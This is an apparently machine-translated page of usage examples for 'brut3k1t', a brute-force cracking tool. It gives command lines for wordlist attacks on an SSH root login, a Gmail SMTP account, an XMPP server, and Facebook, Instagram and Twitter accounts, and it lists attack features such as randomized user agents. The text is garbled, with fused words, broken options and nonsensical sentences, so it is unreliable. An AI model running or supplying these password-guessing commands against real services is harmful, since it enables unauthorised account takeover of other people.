Examples of use:
192.168.1.3 Using rootve wordlist.txt SSH server cracking that works as a word list.
./brut3k1t -s ssh -a 192.168.1.3 -u root -w wordlist.txt The
program will automatically set the port to 22, but if not, specify it with -plabel.
E Cracking [email protected] with wordlist.txt 25 seconds with a 3 second delay on the port. Adjust the settings of the SMTP server for e-mail. Generated, Gmail = smtp.gmail.com. You can investigate this using Google.
./brut3k1t -s smtp — a smtp.gmail.com — en [email protected] — w wordlist.txt — p 25 — d 3
XMPP Cracking [email protected] the wordlist.txtvar menu, the port is open 5222. Similar to SMTP in XMPP, but in this case creep.im when you provided it at the beginning of the XMPP server.
./brut3k1t -s xmpp — A creep.im -u test -w wordlist.txt Cracking
Facebook is doing the username (by the way preferable test), by email, by phone, and even by ID.
./brut3k1t -s facebook -u test -w wordlist.txt
Username test word list wordlist.txt and 5 seconds delay Instagram cracking
./brut3k1t -s instagram -u test -w word
list.txt -d 5 Username with word testlist via Twitter Crackingwordlist.txt
./brut3k1t -s twitter -u test -w word.txt
Features (Brute Force)
2-Randomized user agents
3-GUI or web-based GUI
T4-elnet and HTTP attack
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